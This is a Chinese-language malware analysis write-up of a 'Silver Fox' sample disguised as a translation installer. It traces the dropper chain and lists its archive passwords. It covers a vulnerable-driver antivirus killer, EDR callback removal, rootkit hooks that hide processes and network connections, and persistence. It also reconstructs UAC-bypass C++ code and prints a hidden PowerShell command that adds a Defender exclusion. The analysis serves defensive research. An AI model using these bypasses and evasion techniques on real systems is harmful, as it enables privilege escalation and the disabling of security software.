(1)BYOVD技术关闭杀软进程实现方式

开源项目,已经被杀,可以再分析一下BdApiUtil64.sys驱动(√

(2)rwdriver.sys 实现的edr致盲方式

直接看开源代码就行(√

(3)对特定API函数HOOK来实现Rootkit技术的技术细节

YiFanyi_setup.exe

银狐 10月

Inno Setup安装程序,有阿里的无效签名

InnoExtractor 提取一下文件

银狐 10月

查看install_script可以知道程序安装路径是C:\ProgramData\WindowsData

释放的文件为

银狐 10月

mainZTtRjTfyhNIDCAF.xml文件其实都是7z压缩包,运行样本,使用火绒剑抓一下行为

会在C:\ProgramData\WindowsData路径释放文件,释放的文件为

银狐 10月

funzip.exe

因为mainZTtRjTfyhNIDCAF.xml为压缩包,所以怀疑funzip为解压工具,使用IDA简单看一眼

银狐 10月

使用7zip源码构造的解压工具,使用火绒剑抓一下解压指令

银狐 10月

"C:\ProgramData\WindowsData\funzip.exe" x -y -phtLcENyRFYwXsHFnUnqK -o"C:\ProgramData\WindowsData" "C:\ProgramData\WindowsData\mainZTtRjTfyhNIDCAF.xml"

找到解压密码:phtLcENyRFYwXsHFnUnqK

银狐 10月

解压成功

银狐 10月

成功释放了men.exe与setup.exe,其中setup为正常的翻译软件安装程序(整个样本运行结束会删除这些文件)

men.exe

银狐 10月

有UPX壳,无签名

银狐 10月

开源项目脱壳

银狐 10月

银狐 10月

**GetFileAttributesA **判断me.key文件是否存在,存在则使用cmd运行重新启用被禁用的网卡,然后退出

银狐 10月

杀软列表解密

银狐 10月

遍历快照然后获取系统中所有杀软的完整路径

释放tree并进行解压

银狐 10月

释放tree.exe(本质是zip)

银狐 10月

解密出C:/Users/Public/Documents/WindowsData/tree.exe路径,然后创建文件

银狐 10月

释放tree.exe文件

银狐 10月

解压释放的tree.exe,密码为Server8888

银狐 10月

银狐 10月

判断文件是否成功解压,同时遍历进程,查看是否存在指定杀软

银狐 10月

释放edr并解压

银狐 10月

与tree.exe释放方式一样,释放edr.key,然后对edr.key进行解压(密码依旧是Server8888),然后释放

银狐 10月

银狐 10月

检查是否成功释放Bypass.exe

运行bypass.exe

银狐 10月

wdc.dll!WdcRunTaskAsInteractiveUser

#include <windows.h>
#include <iostream>
#include <string>


typedef HRESULT(WINAPI* PFN_WdcRunTaskAsInteractiveUser)(LPCWSTR executablePath, LPCWSTR arguments, UINT64 flags);

int main()
{
    HRESULT hr = CoInitialize(NULL);
    if (FAILED(hr)) {
        std::cerr << "[-] CoInitialize failed. Error: " << std::hex << hr << std::endl;
        return 1;
    }

    HMODULE hWdc = LoadLibraryW(L"wdc.dll");
    if (!hWdc) {
        //std::cerr << "[-] Failed to load wdc.dll. Error: " << GetLastError() << std::endl;
        CoUninitialize();
        return 1;
    }


    const char* funcName = "WdcRunTaskAsInteractiveUser";
    PFN_WdcRunTaskAsInteractiveUser WdcRunTask = (PFN_WdcRunTaskAsInteractiveUser)GetProcAddress(hWdc, funcName);

    if (!WdcRunTask) {
       /* std::cerr << "[-] Failed to find function: " << funcName << ". Error: " << GetLastError() << std::endl;*/
        FreeLibrary(hWdc);
        CoUninitialize();
        return 1;
    }



    Sleep(1000);

    LPCWSTR targetPath = L"C:\\Windows\\System32\\notepad.exe";
    LPCWSTR targetArgs = NULL;

    HRESULT callResult = WdcRunTask(targetPath, targetArgs, 0);

    if (SUCCEEDED(callResult)) {
        //std::cout << "[+] SUCCESS! The task should be running now." << std::endl;

    }
    else {
        //std::cerr << "[-] Function call failed." << std::endl;
    }

    FreeLibrary(hWdc);
    CoUninitialize();
    std::cin.get();

    return 0;
}

禁用网络适配器并运行NVIDIA.exe

银狐 10月

遍历检查360,然后采用;ShellExecuteA运行cmd然后执行c wmic path win32_networkadapter where NetEnabled=FALSE call ena启用禁用的网络适配器

使用WinExec启动 NVIDIA.exe

银狐 10月

释放me并解压,同时启动NtHandleCallback

释放并解压me.key,解压密码:killstartup

然后使用GetFileAttributesA判断NtHandleCallback.exe是否释放成功,然后使用WinExec启动NtHandleCallback.exe

然后使用COM接口对NtHandleCallback.exe进行持久化

银狐 10月

stru_7FF6973A2750 (CLSID):{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}

CLSID_TaskScheduler

stru_7FF6973A2740 (IID):{2FABA4C7-4DA9-4013-9697-20CC3FD40F85}

IID_ITaskService

设置计划任务作者:Microsoft Corporation

行为:LogonTrigger

路径:C:\Users\Public\Documents\WindowsData\NtHandleCallback.exe

Task Name: WindowsPowerShell.WbemScripting.SWbemLocator。

Flags: 6 (TASK_CREATE_OR_UPDATE)。

User/Group: S-1-5-32-544,这是本地管理员组。

LogonType: 4 (TASK_LOGON_GROUP)

银狐 10月

注册rwdriver、并启动main.exe

注册驱动,启动驱动rwdriver

银狐 10月

轮询,检查服务的状态码是否为 SERVICE_RUNNING (4),然后带参数1启动main.exe

银狐 10月

删除衍生文件

通过DeleteFileA API强制删除杀软文件

银狐 10月

通过SetFileAttributesA API对释放衍生物的文件夹及其文件修改属性进行隐藏

银狐 10月

释放del.bat,用于清理自身释放的衍生物

银狐 10月

Bypass.exe

银狐 10月

无签名的可执行文件

银狐 10月

有控制流平坦化,用deflat去一下ollvm

银狐 10月

去除得不完全,但是能勉强看清代码逻辑

sub_14000F5C0

银狐 10月

调用 ReadProcessMemory

sub_140009170

银狐 10月

这个函数在不去除平坦化时能查看到一些CLSIDFromString,通过这个能大致看出这里是在进行利用ICMLuaUtil 接口实现UAC Bypass,出自UAC ME的第43项

银狐 10月

const CLSID CLSID_CMSTPLUA = { 0x3E5FC7F9, 0x9A51, 0x4367, { 0x90, 0x63, 0xA1, 0x20, 0x24, 0x4F, 0xBE, 0xC7 } };

const IID IID_ICMLuaUtil = { 0x0A16D195, 0x6F47, 0x4964, { 0x92, 0x87, 0x9F, 0x4B, 0xAB, 0x6D, 0x98, 0x27 } };

class ICMLuaUtil : public IUnknown
{
public:
    virtual HRESULT STDMETHODCALLTYPE UnknownMethod_3() = 0;
    virtual HRESULT STDMETHODCALLTYPE UnknownMethod_4() = 0;
    virtual HRESULT STDMETHODCALLTYPE UnknownMethod_5() = 0;
    virtual HRESULT STDMETHODCALLTYPE UnknownMethod_6() = 0;
    virtual HRESULT STDMETHODCALLTYPE UnknownMethod_7() = 0;
    virtual HRESULT STDMETHODCALLTYPE UnknownMethod_8() = 0;
    virtual HRESULT STDMETHODCALLTYPE UnknownMethod_9() = 0;

    virtual HRESULT STDMETHODCALLTYPE SetRegistryStringValue(
        HKEY hKey, 
        LPCWSTR lpSubKey, 
        LPCWSTR lpValueName, 
        LPCWSTR lpValueData
    ) = 0;

    virtual HRESULT STDMETHODCALLTYPE ShellExec(
        LPCWSTR lpFile, 
        LPCWSTR lpParameters, 
        LPCWSTR lpDirectory, 
        ULONG fMask, 
        ULONG nShow
    ) = 0;
};

void Deobfuscated_Payload_Loader()
{
    HRESULT hr = S_OK;
    ICMLuaUtil* pICMLuaUtil = nullptr;

    hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
    if (FAILED(hr)) return;

    hr = CoCreateInstance(CLSID_CMSTPLUA, NULL, CLSCTX_LOCAL_SERVER, IID_ICMLuaUtil, (void**)&pICMLuaUtil);
    
    if (SUCCEEDED(hr) && pICMLuaUtil != nullptr)
    {
        const wchar_t* decryptedPayloadPath = L"C:\\Users\\Public\\Documents\\WindowsData\\NVIDIA.lnk"; 
        hr = pICMLuaUtil->SetRegistryStringValue(
            HKEY_LOCAL_MACHINE, 
            L"Software\\Microsoft\\Windows NT\\CurrentVersion\\ICM\\Calibration",
            L"DisplayCalibrator",
            decryptedPayloadPath 
        );

        if (SUCCEEDED(hr))
        {
            pICMLuaUtil->ShellExec(
                L"DisplayCalibrator", /
                NULL, 
                NULL, 
                0, 
                SW_SHOW
            );
        }

        pICMLuaUtil->Release();
    }
    CoUninitialize();
}

整体Bypass.exe实现的效果为:创建一个NVIDIA.lnk然后使用Windows 颜色管理组件的 COM 接口漏洞 ,修改注册表,使得系统在执行高权限任务时,启动 NVIDIA 快捷方式

银狐 10月

这个快捷方式正在启动的程序是KGseKKdKce.exe,也就是BdApiUtil64.sys的操作程序

NVIDIA.exe

银狐 10月

进行了UPX加壳

使用IDA分析发现存在控制流平坦化

银狐 10月

银狐 10月

主要逻辑为释放驱动与遍历系统进程

sub_7FF6723B6010

银狐 10月

释放的位置为:%Temp%,释放的驱动名称采用的是随机名称

银狐 10月

解密需要释放的驱动,sub_7FF6723DA730函数会对释放的驱动注册为服务,以实现持久化

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<rand_name>

释放的驱动为:山东安在信息技术股份有限公司的Ping32产品的驱动程序

银狐 10月

银狐 10月

驱动释放成功之后会遍历系统进程判断是否存在指定的杀软进程,存在则通过BYOVD由释放的驱动实现关闭

银狐 10月

BdApiUtil64.sys

百度杀毒使用的驱动程序,签名正常

银狐 10月

银狐 10月

定义了一个特定的 I/O 控制代码(IOCTL)0x800024B4,当用户模式的应用程序向驱动设备发送这个 IOCTL,并附带一个进程 ID (PID) 时,驱动程序不会进行验证,然后在内核模式下终止该 PID 对应的进程。

KGseKKdKce.exe

在样本中使用KGseKKdKce.exe对其进行利用,源于:https://github.com/BlackSnufkin/BYOVD/blob/main/BdApiUtil-Killer/src/main.rs

对KGseKKdKce进行了UPX打包

银狐 10月

目标程序为国内一些常见杀软,其余部分与开源项目基本一致

银狐 10月

银狐 10月

大致逻辑为:遍历系统进程发现目标杀软进程就将其PID与IOCTL(0x800024B4)一起传到目标驱动

rwdriver.sys

rwdriver.sys使用泄露的“中兴通讯股份有限公司”过期签名

读写任意地址数据,进行拷贝覆盖,源自:

https://github.com/NanoWraith/rwdriver/tree/master/rwdriver

银狐 10月

银狐 10月

银狐 10月

MmCopyVirtualMemory(
    CurrentProcess,             // 源进程
    memOp->SourceAddress,       // 源地址
    CurrentProcess,             // 目标进程
    memOp->DestinationAddress,  // 目标地址
    memOp->Size,                // 大小
    KernelMode,                 // 权限模式
    &bytesTransferred
);

MmCopyVirtualMemory 函数的第六个参数是 AccessMode:

  • 如果传递 UserMode:Windows 内核会自动检查 SourceAddress 和 DestinationAddress。
  • 如果传递 KernelMode:Windows 内核会信任调用者,认为这是一个系统内部操作,跳过所有安全检查

main.exe

使用程序为:main.exe,源于:https://github.com/NanoWraith/BlindEdr

Cm回调移除方法:

银狐 10月

通过特征码进行查到找到目标回调时将 Head->Flink == Head,这样能直接让链表置空

Ob回调移除方法:

银狐 10月

遍历找到 PsProcessType 和 PsThreadType 对象类型结构体在内核中的地址,然后遍历双链表存在目标回调则用0将其覆盖

进程\线程\基址回调移除方法:

银狐 10月

直接将内核全局数组中的回调对象指针置空

Minifilter 回调移除:

银狐 10月

遍历了 FLT_VOLUMES 列表如果属于目标edr的 Instance使用Unlink的方法实现回调移除

移除目标:

银狐 10月

与源码一致,并未进行修改

银狐 10月

NtHandleCallback.exe

这个样本的实现逻辑与这个样本一致:MD5:08cfaac200ed8052a63020f115c6a75a(这个样本的分析没有对字符串加密更为简单,下文统称为log.dll),这里使用log.dll进行对比分析

银狐 10月

采用多线程的方式分别执行解密C2 、向Cndom6.sys发送控制码实现IAT HOOK、添加wdf白名单

StartAddress

银狐 10月

读取之前释放的Server.log然后进行RC4解密,key为:??Bid@locale@std

银狐 10月

解密成功之后,查找解密之后载荷的NtHandleCallback导出函数,对这个模块进行单独分析

主要是用于C2连接以及数据接收和发送

银狐 10月

银狐 10月

(v9[4])(v2, &Destination, v10)主要逻辑就是连接,然后接收线程、心跳线程

银狐 10月

sub_7FF6CE484CB0

这里使用log.dll进行对比分析

银狐 10月

对比到NtHandleCallback.exe中就是

银狐 10月

判断系统中的进程分别获取NtHandleCallback、tracerpt、NVIDIA进程PID、然后通过特定驱动对这些进程进行操作

遍历判断系统中是否存在指定进程

银狐 10月

清理服务之后保证系统环境干净,然后释放驱动,使用StartServiceA启动驱动,在驱动启动之后,立即进行删除(未锁定)

银狐 10月

后续就是遍历得到目标进程的PID,然后通过DeviceIoControl 发送给指定驱动进行操作(后续的tracerpt、NVIDIA进程操作步骤类似,只需要注意的就是对tracerpt进程进行操作的驱动为XiaoH)

sub_7FF7EFEA4F50

使用"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents'"C:\Users\Public\Documents路径添加到wdf白名单

银狐 10月

sub_7FF7EFEA4220用于判断是否添加成功,失败则会一直循环添加,成功则退出

银狐 10月

Cndom6.sys

银狐 10月

银狐 10月

银狐 10月

判断系统时间是否超过2027-01-02,超过就退出运行

银狐 10月

使用ZwSetInformationFile将文件FILE_BASIC_INFORMATION属性清零,同时将SectionObjectPointer清零(SECTION_OBJECT_POINTERS是文件对应的内存映射/节对象指针结构,若文件加载到某个进程,或者被映射为内存映像,会有 ImageSectionObject 指向映像的节对象),调用 MmFlushImageSection 会尝试把文件对应的内存映射从物理内存或页面映射中清空,从而解除对文件的占用

sub_14000309C函数用于接收用户发送的IOCTL,在NtHandleCallback的分析中发现发送的IOCTL为:0x222180

银狐 10月

0x222180是将byte_1400D3669的全局变量置1,应该是后续执行操作的"开关"

银狐 10月

进入sub_140001944

银狐 10月

sub_1400022A4函数就是判断当前系统版本,然后选择合适的offset

sub_140001F60函数主要是获取NtTraceControl、KeQueryPerformanceCounter、NtQuerySystemInformation、NtOpenProcess、NtOpenThread函数地址,以及通过NtTraceControl定位ntoskrnl.exe基址

银狐 10月

银狐 10月

qword_1400D35C8 =NtTraceControl address

银狐 10月

成功定位到ntkrnlmp

银狐 10月

sub_140001CB0函数通过特征码寻找KiSystemServiceExitPico

银狐 10月

银狐 10月

后续是通过KiSystemServiceExitPico寻找win32k.sys

银狐 10月

然后 利用 KeQueryPerformanceCounter 地址寻找 HAL.dll 或 ntoskrnl

银狐 10月

银狐 10月

sub_140001A18函数用于寻找GetCpuClock指针

银狐 10月

银狐 10月

sub_140002880函数主要用于遍历SSDT表

银狐 10月

银狐 10月

银狐 10月

csrss.exe进程拥有 Shadow SSDT

银狐 10月

银狐 10月

sub_1400035C8函数为创建系统线程,sub_1400035C8函数负责HOOK

银狐 10月

银狐 10月

HOOK分发函数,主要HOOK了NtQuerySystemInformation、NtOpenProcess、NtReadVirtualMemory

针对于NtQuerySystemInformation,判断是否为保护名单中的程序,如果是则进行Unlink操作,然后达到隐藏进程的目的

银狐 10月

银狐 10月

处于Unlink函数,查看白名单为空,查看需要隐藏的进程为0x00001960(就是NtHandleCallback.exe的PID)

Unlink的结构体为

typedef struct _SYSTEM_PROCESS_INFORMATION_REVERSED {
    // Dump: 00003340
    ULONG NextEntryOffset;       // [Offset: +0x00]

    ULONG NumberOfThreads;          // [Offset: +0x04]
    
    LARGE_INTEGER WorkingSetPrivateSize;    // [Offset: +0x08]

    // [Offset: +0x10]
    ULONG HardFaultCount;
    ULONG NumberOfThreadsHighWatermark;

    // [Offset: +0x18]
    ULONGLONG CycleTime;

    // [Offset: +0x20]
    LARGE_INTEGER CreateTime;

    // [Offset: +0x28]
    LARGE_INTEGER UserTime;

    // [Offset: +0x30]
    LARGE_INTEGER KernelTime;

    // [Offset: +0x38]
    UNICODE_STRING ImageName; 

    // [Offset: +0x48]
    KPRIORITY BasePriority;

    // [Offset: +0x50] 
    HANDLE UniqueProcessId;

    // [Offset: +0x58]
    HANDLE InheritedFromUniqueProcessId;

    // [Offset: +0x60]
    ULONG HandleCount;
//…………………………

} SYSTEM_PROCESS_INFORMATION_REVERSED, *PSYSTEM_PROCESS_INFORMATION_REVERSED;
1: kd> dps r9
000001ff`82755ac8  00000002`00000328
000001ff`82755ad0  00000000`0003f000
000001ff`82755ad8  00000004`0000008c
000001ff`82755ae0  00000000`35468991
000001ff`82755ae8  01dc6f2a`ff7df2a3
000001ff`82755af0  00000000`0002625a
000001ff`82755af8  00000000`000bebc2
000001ff`82755b00  00000000`00180010
000001ff`82755b08  000001ff`82755dd8
000001ff`82755b10  00000000`0000000b
000001ff`82755b18  00000000`0000015c
000001ff`82755b20  00000000`00000004
000001ff`82755b28  00000000`00000035
000001ff`82755b30  00000000`00000000
000001ff`82755b38  00000201`03117000
000001ff`82755b40  00000201`028ab000
1: kd> r r9
r9=000001ff82755ac8
1: kd> dps 000001ff82755ac8+0x328
000001ff`82755df0  0000000c`00000648
000001ff`82755df8  00000000`000da000
000001ff`82755e00  0000000f`000000fd
000001ff`82755e08  00000000`5854e8df
000001ff`82755e10  01dc6f2b`002c11d1
000001ff`82755e18  00000000`0007270e
000001ff`82755e20  00000000`002aea54
000001ff`82755e28  00000000`00180012
000001ff`82755e30  000001ff`82756420
000001ff`82755e38  00000000`0000000d
000001ff`82755e40  00000000`000001dc
000001ff`82755e48  00000000`000001d0
000001ff`82755e50  00000000`0000022c
000001ff`82755e58  00000000`00000000
000001ff`82755e60  00000201`05f33000
000001ff`82755e68  00000201`05e74000

1: kd> du 000001ff82755dd8
000001ff`82755dd8  "smss.exe"
1: kd> dps 000001ff82755b08 l1
000001ff`82755b08  000001ff`82755dd8
1: kd> du 000001ff`82756420
000001ff`82756420  "csrss.exe"

目标进程

银狐 10月

针对NtOpenProcess,判断是否为保护进程(也就是从用户端通过IOCTL传入的进程PID),如果为保护进程则返回错误码,从而防止其他进程访问该进程的句柄

银狐 10月

针对NtReadVirtualMemory,判断是否为保护进程,如果是保护进程则返回错误码,从而防止保护进程的句柄被复制

银狐 10月

XiaoH.sys

银狐 10月

银狐 10月

银狐 10月

银狐 10月

sub_140001514函数用于寻找nsiproxy基址

银狐 10月

针对nsiproxy.sys系统驱动文件,获取其驱动对象对IRP_MJ_DEVICE_CONTROL进行HOOK

nsiproxy.sys 是 Windows 内核里的一个 网络服务代理驱动

银狐 10月

遍历网络连接表,判断是否为目标PID

银狐 10月

typedef struct _NSI_TCP_SUBENTRY {
    // 0x00
    unsigned int State;           

    // 0x04
    unsigned int LocalAddress;    

    // 0x08
    unsigned short LocalPort;     

    //  0x0A
    unsigned short RemotePort;    

    // 0x0C: 
    unsigned int RemoteAddress;   

    unsigned int Unknown1;       
    unsigned long long Unknown2;  
    unsigned long long Timestamp;
    unsigned long long Unknown3;  
    unsigned long long Unknown4; 
    unsigned int Unknown5;    

} NSI_TCP_SUBENTRY, *PNSI_TCP_SUBENTRY;